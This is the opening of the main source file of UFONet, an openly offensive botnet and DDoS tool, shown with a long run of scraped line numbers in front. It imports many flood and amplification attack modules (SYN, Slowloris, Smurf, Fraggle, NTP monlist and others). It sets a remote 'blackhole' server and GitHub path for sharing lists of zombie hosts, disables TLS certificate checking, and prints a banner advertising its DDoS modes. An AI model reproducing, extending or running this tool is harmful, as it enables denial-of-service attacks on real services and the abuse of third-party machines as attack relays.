main.py 312 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607360836093610361136123613361436153616361736183619362036213622362336243625362636273628362936303631363236333634363536363637363836393640364136423643364436453646364736483649365036513652365336543655365636573658365936603661366236633664366536663667366836693670367136723673367436753676367736783679368036813682368336843685368636873688368936903691369236933694369536963697369836993700370137023703370437053706370737083709371037113712371337143715371637173718371937203721372237233724372537263727372837293730373137323733373437353736373737383739374037413742374337443745374637473748374937503751375237533754375537563757375837593760376137623763376437653766376737683769377037713772377337743775377637773778377937803781378237833784378537863787378837893790379137923793379437953796379737983799380038013802380338043805380638073808380938103811381238133814381538163817381838193820382138223823382438253826382738283829383038313832383338343835383638373838383938403841384238433844384538463847384838493850385138523853385438553856385738583859386038613862386338643865386638673868386938703871387238733874387538763877387838793880388138823883388438853886388738883889389038913892389338943895389638973898389939003901390239033904390539063907390839093910391139123913391439153916391739183919392039213922392339243925392639273928392939303931393239333934393539363937393839393940394139423943394439453946394739483949395039513952395339543955395639573958395939603961396239633964396539663967396839693970397139723973397439753976397739783979398039813982398339843985398639873988398939903991399239933994399539963997399839994000400140024003400440054006400740084009401040114012401340144015401640174018401940204021402240234024402540264027402840294030403140324033403440354036403740384039404040414042404340444045404640474048404940504051405240534054405540564057405840594060406140624063406440654066406740684069407040714072407340744075407640774078407940804081408240834084408540864087408840894090409140924093409440954096409740984099410041014102410341044105410641074108410941104111411241134114411541164117411841194120412141224123412441254126412741284129413041314132413341344135413641374138413941404141414241434144414541464147414841494150415141524153415441554156415741584159416041614162416341644165416641674168416941704171417241734174417541764177417841794180418141824183418441854186418741884189419041914192419341944195419641974198419942004201420242034204420542064207420842094210421142124213421442154216421742184219422042214222422342244225422642274228422942304231423242334234423542364237423842394240424142424243424442454246424742484249425042514252425342544255425642574258425942604261426242634264426542664267426842694270427142724273427442754276427742784279428042814282428342844285428642874288428942904291429242934294429542964297429842994300430143024303430443054306430743084309431043114312431343144315431643174318431943204321432243234324432543264327432843294330433143324333433443354336433743384339434043414342434343444345434643474348434943504351435243534354435543564357435843594360436143624363436443654366436743684369437043714372437343744375437643774378437943804381438243834384438543864387438843894390439143924393439443954396439743984399440044014402440344044405440644074408440944104411441244134414441544164417441844194420442144224423442444254426442744284429443044314432443344344435443644374438443944404441444244434444444544464447444844494450445144524453445444554456445744584459446044614462446344644465446644674468446944704471447244734474447544764477447844794480448144824483448444854486448744884489449044914492449344944495449644974498449945004501450245034504450545064507450845094510451145124513451445154516451745184519452045214522452345244525452645274528452945304531453245334534453545364537453845394540454145424543454445454546454745484549455045514552455345544555455645574558455945604561456245634564456545664567456845694570457145724573457445754576457745784579458045814582458345844585458645874588458945904591459245934594459545964597459845994600460146024603460446054606460746084609461046114612461346144615461646174618461946204621462246234624462546264627462846294630463146324633463446354636463746384639464046414642464346444645464646474648464946504651465246534654465546564657465846594660466146624663466446654666466746684669467046714672467346744675467646774678467946804681468246834684468546864687468846894690469146924693469446954696469746984699470047014702470347044705470647074708470947104711471247134714471547164717471847194720472147224723472447254726472747284729473047314732473347344735473647374738473947404741474247434744474547464747474847494750475147524753475447554756475747584759476047614762476347644765476647674768476947704771477247734774477547764777477847794780478147824783478447854786478747884789479047914792479347944795479647974798479948004801480248034804480548064807480848094810481148124813481448154816481748184819482048214822482348244825482648274828482948304831483248334834483548364837483848394840484148424843484448454846484748484849485048514852485348544855485648574858485948604861486248634864486548664867486848694870487148724873487448754876487748784879488048814882488348844885488648874888488948904891489248934894489548964897489848994900490149024903490449054906490749084909491049114912491349144915491649174918491949204921492249234924492549264927492849294930493149324933493449354936493749384939494049414942494349444945494649474948494949504951495249534954495549564957495849594960496149624963496449654966496749684969497049714972497349744975497649774978497949804981498249834984498549864987498849894990499149924993499449954996499749984999500050015002500350045005500650075008500950105011501250135014501550165017501850195020502150225023502450255026502750285029503050315032503350345035503650375038503950405041504250435044504550465047504850495050505150525053505450555056505750585059506050615062506350645065506650675068506950705071507250735074507550765077507850795080508150825083508450855086508750885089509050915092509350945095509650975098509951005101510251035104510551065107510851095110511151125113511451155116511751185119512051215122512351245125512651275128512951305131513251335134513551365137513851395140514151425143514451455146514751485149515051515152515351545155515651575158515951605161516251635164516551665167516851695170517151725173517451755176517751785179518051815182518351845185518651875188518951905191519251935194519551965197519851995200520152025203520452055206520752085209521052115212521352145215521652175218521952205221522252235224522552265227522852295230523152325233523452355236523752385239524052415242524352445245524652475248524952505251525252535254525552565257525852595260526152625263526452655266526752685269527052715272527352745275527652775278527952805281528252835284528552865287528852895290529152925293529452955296529752985299530053015302530353045305530653075308530953105311531253135314531553165317531853195320532153225323532453255326532753285329533053315332533353345335533653375338533953405341534253435344534553465347534853495350535153525353535453555356535753585359536053615362536353645365536653675368536953705371537253735374537553765377537853795380538153825383538453855386538753885389539053915392539353945395539653975398539954005401540254035404540554065407540854095410541154125413541454155416541754185419542054215422542354245425542654275428542954305431543254335434543554365437543854395440544154425443544454455446544754485449545054515452545354545455545654575458545954605461546254635464546554665467546854695470547154725473547454755476547754785479548054815482548354845485548654875488548954905491549254935494549554965497549854995500550155025503550455055506550755085509551055115512551355145515551655175518551955205521552255235524552555265527552855295530553155325533553455355536553755385539554055415542554355445545554655475548554955505551555255535554555555565557555855595560556155625563556455655566556755685569557055715572557355745575557655775578557955805581558255835584558555865587558855895590559155925593559455955596559755985599560056015602560356045605560656075608560956105611561256135614561556165617561856195620562156225623562456255626562756285629563056315632563356345635563656375638563956405641564256435644564556465647564856495650565156525653565456555656565756585659566056615662566356645665566656675668566956705671567256735674567556765677567856795680568156825683568456855686568756885689569056915692569356945695569656975698569957005701570257035704570557065707570857095710571157125713571457155716571757185719572057215722572357245725572657275728572957305731573257335734573557365737573857395740574157425743574457455746574757485749575057515752575357545755575657575758575957605761576257635764576557665767576857695770577157725773577457755776577757785779578057815782578357845785578657875788578957905791579257935794579557965797579857995800580158025803580458055806580758085809581058115812581358145815581658175818581958205821582258235824582558265827582858295830583158325833583458355836583758385839584058415842584358445845584658475848584958505851585258535854585558565857585858595860586158625863586458655866586758685869587058715872587358745875587658775878587958805881588258835884588558865887588858895890589158925893589458955896589758985899590059015902590359045905590659075908590959105911591259135914591559165917591859195920592159225923592459255926592759285929593059315932593359345935593659375938593959405941594259435944594559465947594859495950595159525953595459555956595759585959596059615962596359645965596659675968596959705971597259735974597559765977597859795980598159825983598459855986598759885989599059915992599359945995599659975998599960006001600260036004600560066007600860096010601160126013601460156016601760186019602060216022602360246025602660276028602960306031603260336034603560366037603860396040604160426043604460456046604760486049605060516052605360546055605660576058605960606061606260636064606560666067606860696070607160726073607460756076607760786079608060816082608360846085608660876088608960906091609260936094609560966097609860996100610161026103610461056106610761086109611061116112611361146115611661176118611961206121612261236124612561266127612861296130613161326133613461356136613761386139614061416142614361446145614661476148614961506151615261536154615561566157615861596160616161626163616461656166616761686169617061716172617361746175617661776178617961806181618261836184618561866187618861896190619161926193619461956196619761986199620062016202620362046205620662076208620962106211621262136214621562166217621862196220622162226223622462256226622762286229623062316232623362346235623662376238623962406241624262436244624562466247624862496250625162526253625462556256
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import os, sys, re, traceback, random, time, threading, base64, string, math
  11. import io, socket, ssl, cgi, json, gzip
  12. from hashlib import sha1, sha256
  13. try:
  14. from Cryptodome.Cipher import AES
  15. except:
  16. print ("\n[Error] Something wrong with -crypto- libs... Aborting!\n")
  17. sys.exit()
  18. try:
  19. from urllib.parse import urlparse as urlparse
  20. except:
  21. from urlparse import urlparse as urlparse
  22. try:
  23. import urllib.request, urllib.error, urllib.parse
  24. except:
  25. print ("\n[Error] UFONet no longer supports Python2: (https://www.python.org/doc/sunset-python-2/)\n\n[Info] [AI] Try to run the tool with Python3.x.y (ex: python3 ufonet)\n")
  26. sys.exit()
  27. from uuid import getnode
  28. from random import randrange, shuffle
  29. from .options import UFONetOptions
  30. from .update import Updater
  31. from .herd import Herd
  32. from .zombie import Zombie
  33. from .doll import Doll
  34. from core.tools.inspector import Inspector
  35. from core.tools.abductor import Abductor
  36. from core.tools.ufoscan import UFOSCAN
  37. from core.mods.loic import LOIC
  38. from core.mods.loris import LORIS
  39. from core.mods.ufosyn import UFOSYN
  40. from core.mods.spray import SPRAY
  41. from core.mods.smurf import SMURF
  42. from core.mods.xmas import XMAS
  43. from core.mods.nuke import NUKE
  44. from core.mods.tachyon import TACHYON
  45. from core.mods.monlist import MONLIST
  46. from core.mods.sniper import SNIPER
  47. from core.mods.ufoack import UFOACK
  48. from core.mods.uforst import UFORST
  49. from core.mods.droper import DROPER
  50. from core.mods.overlap import OVERLAP
  51. from core.mods.pinger import PINGER
  52. from core.mods.ufoudp import UFOUDP
  53. from core.mods.fraggle import FRAGGLE
  54. DEBUG = False # use 'True' for detailed traceback
  55. class UFONet(object):
  56. def __init__(self):
  57. self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
  58. self.blackhole = '46.163.118.220' # default download/upload zombies [Blackhole] [Server] / Try [DIY] your own [Mirror]...
  59. self.crypto_key = "U-NATi0n!" # default cryptkey
  60. self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
  61. self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
  62. self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]
  63. self.external_check_service1 = 'https://www.isitdownrightnow.com/check.php?domain=' # set external check service 1 [OK! 20/08/2024]
  64. self.external_check_service2 = 'https://isitdownorjustme.net/status/' # set external check service 2 [OK! 23/07/2022]
  65. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site [OK! 23/07/2022] [OK! 25/08/2024]
  66. self.check_ip_service2 = 'https://checkip.org/' # set external check ip service 1 [OK! 23/07/2022] [OK! 25/08/2024]
  67. self.check_ip_service1 = 'https://ip.42.pl/ra' # set external check ip service 2 [OK! [23/07/2022] [OK! 25/08/2024]
  68. #self.check_ip_service3 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 06/06/2020] [OK! 25/08/2024]
  69. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  70. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  71. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
  72. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
  73. self.dnss_file = 'botnet/dns.txt' # set source path to retrieve [DNSs]
  74. self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
  75. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  76. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  77. self.ntps_file = 'botnet/ntp.txt' # set source path to retrieve [NTPs]
  78. self.snmps_file = 'botnet/snmp.txt' # set source path to retrieve [SNMPs]
  79. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  80. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
  81. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  82. self.timeline_file = 'docs/VERSION' # set source for code releases
  83. self.links_file = "data/links.txt" # set source path to retrieve [Blackhole] [Links]
  84. self.streams_file = "data/streams.txt" # set source path to retrieve [Blackhole] [Streams]
  85. self.globalnet_file = "data/globalnet.txt" # set source path to retrieve [Blackhole] [Globalnet]
  86. self.nodes_file = "data/nodes.txt" # set source path to retrieve [Blackhole] [Community] [Nodes]
  87. self.news_file = "data/news.txt" # set source path to retrieve [Blackhole] [News]
  88. self.tv_file = "data/tv.txt" # set source path to retrieve [Blackhole] [TV]
  89. self.missions_file = "data/missions.txt" # set source path to retrieve [Blackhole] [Missions]
  90. self.board_file = "data/board.txt" # set source path to retrieve [Blackhole] [Board]
  91. self.grid_file = "data/grid.txt" # set source path to retrieve [Blackhole] [Grid]
  92. self.wargames_file = "data/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
  93. self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples]
  94. self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites
  95. self.referer = '' # black magic
  96. self.port = "8080" # default injection port
  97. self.mothershipname = "core/txt/shipname.txt"
  98. self.default_mothership_name = "l4m3r-lulz/0\n" # default mothership name
  99. self.mothership_model_file = 'core/txt/model.txt' # set source for mothership model
  100. self.warping_path = '/var/www/ufonet' # set source for warping path
  101. self.warping_folder_permissions = 0o644 # set permission for warping folder
  102. f = open(self.mothership_model_file) # extract mothership model
  103. self.mothership_model = f.readlines()
  104. for model in self.mothership_model:
  105. model = model.rstrip('\n')
  106. self.mothership_model = model
  107. f.close()
  108. self.mothership_baptism() # generating static name/id for your mothership ;-)
  109. self.head = False
  110. self.payload = False
  111. self.external = False
  112. self.attack_mode = False
  113. self.connection_failed = False
  114. self.total_possible_zombies = 0
  115. self.herd = Herd(self)
  116. self.sem = False
  117. self.db_flash = 0 # db stress counter
  118. self.total_aliens = 0
  119. self.aliens_hit = 0
  120. self.aliens_fail = 0
  121. self.total_droids = 0
  122. self.droids_hit = 0
  123. self.droids_fail = 0
  124. self.total_ucavs = 0
  125. self.ucavs_hit = 0
  126. self.ucavs_fail = 0
  127. self.total_rpcs = 0
  128. self.rpcs_hit = 0
  129. self.rpcs_fail = 0
  130. self.total_loic = 0
  131. self.total_loris = 0
  132. self.total_syn = 0
  133. self.total_spray = 0
  134. self.total_smurf = 0
  135. self.total_fraggle = 0
  136. self.total_xmas = 0
  137. self.total_ufoack = 0
  138. self.total_uforst = 0
  139. self.total_droper = 0
  140. self.total_overlap = 0
  141. self.total_pinger = 0
  142. self.total_ufoudp = 0
  143. self.total_nuke = 0
  144. self.total_tachyon = 0
  145. self.total_monlist = 0
  146. self.total_sniper = 0
  147. self.total_zombies_failed_connection = 0
  148. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  149. self.ctx.check_hostname = False
  150. self.ctx.verify_mode = ssl.CERT_NONE
  151. self.nat_error_flag = "OFF"
  152. self.trans_zombies = 0
  153. self.scanned_zombies = 0
  154. self.loadcheck_counter = 0
  155. self.loadcheck_prev_size = None
  156. self.loadcheck_prev_load = None
  157. self.loadcheck_first_size = None
  158. self.loadcheck_first_load = None
  159. self.loadcheck_size_list = []
  160. self.loadcheck_load_list = []
  161. self.loadcheck_size_median = None
  162. self.loadcheck_size_max = None
  163. self.loadcheck_size_min = None
  164. self.loadcheck_load_median = None
  165. self.loadcheck_size_max = None
  166. self.loadcheck_size_min = None
  167. self.num_is_up = 0 # counter for [UCAVs] 'up' reports
  168. self.num_is_down = 0 # counter for [UCAVs] 'down' reports
  169. self.expire_timing = 30 # default expiring time per round
  170. self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
  171. self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
  172. self.globalnet_msg_sep = "#$#" # globalnet stream separator
  173. self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
  174. self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
  175. self.trans_5C = self.trans_5C.encode("latin-1")
  176. self.trans_36 = self.trans_36.encode("latin-1")
  177. def mothership_baptism(self):
  178. if os.path.exists(self.mothershipname) == True:
  179. f = open(self.mothershipname)
  180. self.mothership_id = f.read()
  181. f.close()
  182. else:
  183. self.mothership_ids = []
  184. try:
  185. f = open(self.motherships_file)
  186. motherships = f.readlines()
  187. f.close()
  188. for ship in motherships:
  189. ship = ship.encode("utf-8")
  190. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  191. try:
  192. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'utf-8')
  193. except:
  194. try:
  195. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'latin-1')+"\n" # id (hack&slash!) creation ;-)
  196. except:
  197. self.mothership_id = self.default_mothership_name
  198. except:
  199. self.mothership_id = self.default_mothership_name
  200. if len(str(self.mothership_id.upper())) > 20: # motherhip naming anti-cheating! ;-)
  201. self.mothership_id = self.default_mothership_name
  202. m = open(self.mothershipname, "w") # write mothership name to a static file
  203. m.write(str(self.mothership_id.upper()))
  204. m.close()
  205. def create_options(self, args=None):
  206. self.optionParser = UFONetOptions()
  207. self.options = self.optionParser.get_options(args)
  208. if not self.options:
  209. return False
  210. return self.options
  211. def banner_welcome(self):
  212. print(r" ____ ")
  213. print(r" || / /\ \ || #===============================================#")
  214. print(r" -(00)- + (XX) + -(00)- || ||")
  215. print(r" || || O ==*~~~~~~*== 0 || || || > Botnet [DDoS] # > Close Combat [DoS] ||")
  216. print(r" -(00)- O|O (0) XX (0) -(00)- || ||")
  217. print(r" || _____ |____\| (00) |/______|D___ || || |-> ZOMBIES # |-> LOIC ||")
  218. print(r" O+!$(O)! (O) 0'----'0 (O) !(O)$!+O || |-> DROIDS # |-> LORIS ||")
  219. print(r" |OO OO| .''.( xx ).''. |OO OO| || |-> ALIENS # |-> UFOSYN ||")
  220. print(r" **+***.'.' +X|'..'|X+ '.'***+**. || |-> UCAVs # |-> XMAS ||")
  221. print(r" .-. .' /'--.__|_00_|__.--'\ '. .-. || |-> X-RPCs # |-> NUKE ||")
  222. print(r" +(O).)-|0| \ x| ## |x / |0|-(.(O)+ || |-> DBSTRESS # |-> UFOACK ||")
  223. print(r" `-' '-'-._'-./ -00- \.-'_.-'-' `-' || |-> SPRAY # |-> UFORST ||")
  224. print(r" _ | || '-.___||___.-' || | _ || |-> SMURF # |-> DROPER ||")
  225. print(r" .' _ | ||==O | __ | O==|| | _ '. || |-> TACHYON # |-> OVERLAP ||")
  226. print(r" / .' ''.| || | /_00_\ | || |.'' '. \ || |-> MONLIST # |-> PINGER ||")
  227. print(r" _ | '### | =| | ###### | |= |' ### | _ || |-> FRAGGLE # |-> UFOUDP ||")
  228. print(r"(0)-| |(0)| '. 0\||__**_ ||/0 .' |(0)| |-(0) || |-> SNIPER # ||")
  229. print(r" * \ '._.' '. | \_##_/ | .' '._.' / * || ||")
  230. print(r" '.__ ____0_'.|__'--'__|.'_0____ __.' #|=============================================|#")
  231. print(r" .'_.-| YY |-._'. || ||")
  232. print(r" || -> [ UFONet: https://ufonet.03c8.net ] <- ||")
  233. print(r" + Class: PSYoPs / "+str(self.mothership_model)+" + || ||")
  234. print(r" #|=============================================|#")
  235. print("")
  236. def banner(self):
  237. print('='*75, "\n")
  238. print("888 888 8888888888 .d88888b. 888b 888 888 ")
  239. print("888 888 888 d88P Y888b 8888b 888 888 ")
  240. print("888 888 888 888 888 88888b 888 888 ")
  241. print("888 888 8888888 888 888 888Y88b 888 .d88b. 888888 ")
  242. print("888 888 888 888 888 888 Y88b888 d8P Y8b 888 ")
  243. print("888 888 888 888 888 888 Y88888 88888888 888 ")
  244. print("Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. ")
  245. print(" 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888")
  246. print(self.optionParser.description, "\n")
  247. print('='*75)
  248. def generate_exit_msg(self):
  249. self.exit_msg = "Generating random exit... \n\n"
  250. try:
  251. f = open(self.misc_file)
  252. m = f.readlines()
  253. f.close()
  254. self.exit_msg += " -> "+str(random.choice(m).strip())
  255. except:
  256. self.exit_msg += " -> Donate BTC (Bitcoin) to keep #UFONet (https://ufonet.03c8.net) strong!"
  257. def AI(self):
  258. try:
  259. import turtle as AI
  260. print("\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n")
  261. colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
  262. bg = random.choice(colors).strip()
  263. t = AI.Pen()
  264. AI.bgcolor(bg)
  265. r = random.randrange(100,100000)
  266. for x in range(r):
  267. t.pencolor(colors[x%6])
  268. w = random.randrange(100,1000)
  269. t.width(x/w + 1)
  270. t.forward(x)
  271. l = random.randrange(50,1000)
  272. t.left(l)
  273. except:
  274. print("[AI] %!$1#9#84#~... -> [Exiting!]")
  275. pass
  276. def round_float(self, num):
  277. return str(int(round(num, -1)))[2] # black magic
  278. def show_mac_address(self):
  279. mac = getnode() # to get physical address
  280. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  281. return hex_mac
  282. def show_ips(self):
  283. import requests
  284. try:
  285. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  286. s.connect(("8.8.8.8", 80))
  287. private_ip = s.getsockname()[0] # black magic
  288. s.close()
  289. except:
  290. private_ip = "Unknown"
  291. try:
